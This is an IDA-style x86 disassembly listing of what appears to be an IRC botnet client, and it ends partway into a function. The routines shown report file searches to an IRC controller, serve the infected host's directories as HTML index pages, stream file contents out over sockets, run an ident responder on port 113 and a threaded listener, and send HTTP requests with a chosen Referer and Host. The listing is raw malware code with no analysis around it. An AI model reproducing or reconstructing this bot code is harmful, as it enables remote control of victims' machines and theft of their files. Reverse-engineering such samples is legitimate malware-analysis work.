var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41BF70
		mov	edi, [ebp+arg_0]
		push	offset asc_42A088 ; "\n"
		push	edi
		call	sub_41CAD4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4103CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_4104C9
; ---------------------------------------------------------------------------


loc_4103CA:				; CODE XREF: sub_41036B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4104AF
		call	sub_41B9C0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34	; send
		push	edi
		call	sub_41B9C0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4104C9
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_41036B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4104C9:				; CODE XREF: sub_41036B+5Aj
					; sub_41036B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		sub	eax, 3
		pop	ecx
		jz	short loc_410515


loc_410509:				; CODE XREF: sub_41036B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_410515
		dec	eax
		jnz	short loc_410509


loc_410515:				; CODE XREF: sub_41036B+19Cj
					; sub_41036B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34	; send


loc_410564:				; CODE XREF: sub_41036B+180j
					; sub_41036B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	dword_427124	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_427120	; FindNextFileA
		test	eax, eax
		jz	loc_410954
		mov	edi, 1FFh


loc_410590:				; CODE XREF: sub_41036B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	dword_42711C	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_427118	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_410605
		mov	ecx, offset aAm	; "AM"


loc_410605:				; CODE XREF: sub_41036B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_410611
		sub	eax, 0Ch


loc_410611:				; CODE XREF: sub_41036B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41C266
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4107B4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410685
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_4108FD
; ---------------------------------------------------------------------------


loc_410685:				; CODE XREF: sub_41036B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_41076F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_1	; "%s%s/"
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410725
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_41072A
; ---------------------------------------------------------------------------


loc_410725:				; CODE XREF: sub_41036B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_41072A:				; CODE XREF: sub_41036B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4108FE
; ---------------------------------------------------------------------------


loc_41076F:				; CODE XREF: sub_41036B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107B4:				; CODE XREF: sub_41036B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4107F3
		push	ebx
		push	[ebp+var_368]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_4107DF:				; CODE XREF: sub_41036B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107F3:				; CODE XREF: sub_41036B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_4108E7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429AD0
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410893
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_410898
; ---------------------------------------------------------------------------


loc_410893:				; CODE XREF: sub_41036B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_410898:				; CODE XREF: sub_41036B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4107DF
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: sub_41036B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_4108FD:				; CODE XREF: sub_41036B+315j
		push	esi


loc_4108FE:				; CODE XREF: sub_41036B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 18h


loc_41090D:				; CODE XREF: sub_41036B+444j
					; sub_41036B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_41093C
		push	7D0h
		call	dword_427080	; Sleep


loc_41093C:				; CODE XREF: sub_41036B+22Bj
					; sub_41036B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	dword_427120	; FindNextFileA
		test	eax, eax
		jnz	loc_410590


loc_410954:				; CODE XREF: sub_41036B+21Aj
		push	[ebp+arg_0]
		call	dword_427000	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_410997
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_41036B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4109B1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_4109B1:				; CODE XREF: sub_41036B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_4109CB:				; CODE XREF: sub_41036B+62Aj
					; sub_41036B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_41036B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109F1	proc near		; CODE XREF: sub_40FF31+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_4270F8	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410AA9
		push	esi
		push	ebx
		call	dword_427114	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_410AA2


loc_410A36:				; CODE XREF: sub_4109F1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410A53
		mov	edi, [ebp+arg_4]


loc_410A53:				; CODE XREF: sub_4109F1+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_427128	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_4270EC	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410A9D
		call	dword_4CB978	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_410AA2
		xor	eax, eax


loc_410A9D:				; CODE XREF: sub_4109F1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410A36


loc_410AA2:				; CODE XREF: sub_4109F1+43j
					; sub_4109F1+A8j
		push	ebx
		call	dword_427070	; CloseHandle


loc_410AA9:				; CODE XREF: sub_4109F1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4109F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_410AAE	proc near		; CODE XREF: sub_4100B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_410AD7


loc_410AC1:				; CODE XREF: sub_410AAE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410ACB
		mov	byte ptr [esi+edi], 2Fh


loc_410ACB:				; CODE XREF: sub_410AAE+17j
		push	edi
		inc	esi
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_410AC1


loc_410AD7:				; CODE XREF: sub_410AAE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410AAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410ADC	proc near		; CODE XREF: sub_401ACD+51B7p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB954	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_4CBA64	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB9E4	; htons
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB98C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410BB9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410B55
		mov	eax, offset byte_43DB98


loc_410B55:				; CODE XREF: sub_410ADC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CBA34	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9FC	; recv
		pop	esi


loc_410BB9:				; CODE XREF: sub_410ADC+6Bj
		push	ebx
		call	dword_4CBA7C	; closesocket
		call	dword_4CB93C	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410BF9
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_410BF9:				; CODE XREF: sub_410ADC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410ADC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410BFD	proc near		; DATA XREF: sub_401221+445o
					; sub_401ACD+438Bo

var_238		= byte ptr -238h
var_38		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		mov	[ebp+var_8], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	71h
		call	dword_4CB9E4	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_1A], ax
		mov	[ebp+var_18], esi
		call	dword_4CBA64	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410D61
		mov	eax, [ebp+arg_0]
		push	edi
		imul	eax, 234h
		mov	dword_43E92C[eax], ebx
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	dword_4CBA10	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		push	5
		push	ebx
		call	dword_4CBA0C	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		mov	[ebp+var_C], edi
		mov	edi, 200h


loc_410C88:				; CODE XREF: sub_410BFD+EAj
					; sub_410BFD+14Dj ...
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		call	dword_4CBA78	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_410D5C
		movzx	eax, [ebp+var_2A]
		push	eax
		push	[ebp+var_28]
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_43516C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_415D38
		add	esp, 14h
		lea	eax, [ebp+var_238]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4CB9FC	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410C88
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_4184CC
		push	0Ch
		lea	eax, [ebp+var_38]
		push	esi
		push	eax
		call	sub_41BF70
		push	esi
		push	esi
		lea	eax, [ebp+var_38]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp+var_238]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_4]
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_410C88
		mov	[ebp+var_8], 1
		jmp	loc_410C88
; ---------------------------------------------------------------------------


loc_410D5C:				; CODE XREF: sub_410BFD+A0j
		cmp	[ebp+var_8], esi
		jnz	short loc_410D88


loc_410D61:				; CODE XREF: sub_410BFD+47j
					; sub_410BFD+6Bj ...
		call	dword_4CB978	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_435128
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410D88:				; CODE XREF: sub_410BFD+162j
		push	ebx
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_4]
		call	dword_4CBA7C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_410BFD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410DAB	proc near		; DATA XREF: sub_401ACD+605Do

var_350		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_44]
		call	dword_4CB9E4	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	dword_4CBA64	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_410F17
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E92C[ecx], eax
		call	dword_4CB8F4	; WSAAsyncSelect
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA10	; bind
		test	eax, eax
		jnz	loc_410F17
		push	0Ah
		push	[ebp+arg_0]
		call	dword_4CBA0C	; listen
		test	eax, eax
		jnz	loc_410F17


loc_410E5B:				; CODE XREF: sub_410DAB+C6j
					; sub_410DAB+147j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA78	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410E5B
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_350]
		push	offset unk_4351D4
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_350]
		push	18h
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	dword_43E924[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset sub_410F3C
		push	esi
		push	esi
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43E934[ecx], eax
		jz	short loc_410F02


loc_410EEF:				; CODE XREF: sub_410DAB+155j
		cmp	[ebp+var_30], esi
		jnz	loc_410E5B
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_410EEF
; ---------------------------------------------------------------------------


loc_410F02:				; CODE XREF: sub_410DAB+142j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435198
		call	sub_415DAC
		pop	ecx
		pop	ecx
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F17:				; CODE XREF: sub_410DAB+63j
					; sub_410DAB+97j ...
		mov	edi, [ebp+arg_0]


loc_410F1A:				; CODE XREF: sub_410DAB+16Aj
		push	edi
		call	dword_4CBA7C	; closesocket
		push	[ebp+arg_0]
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_40]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_410DAB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F3C	proc near		; DATA XREF: sub_410DAB+124o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
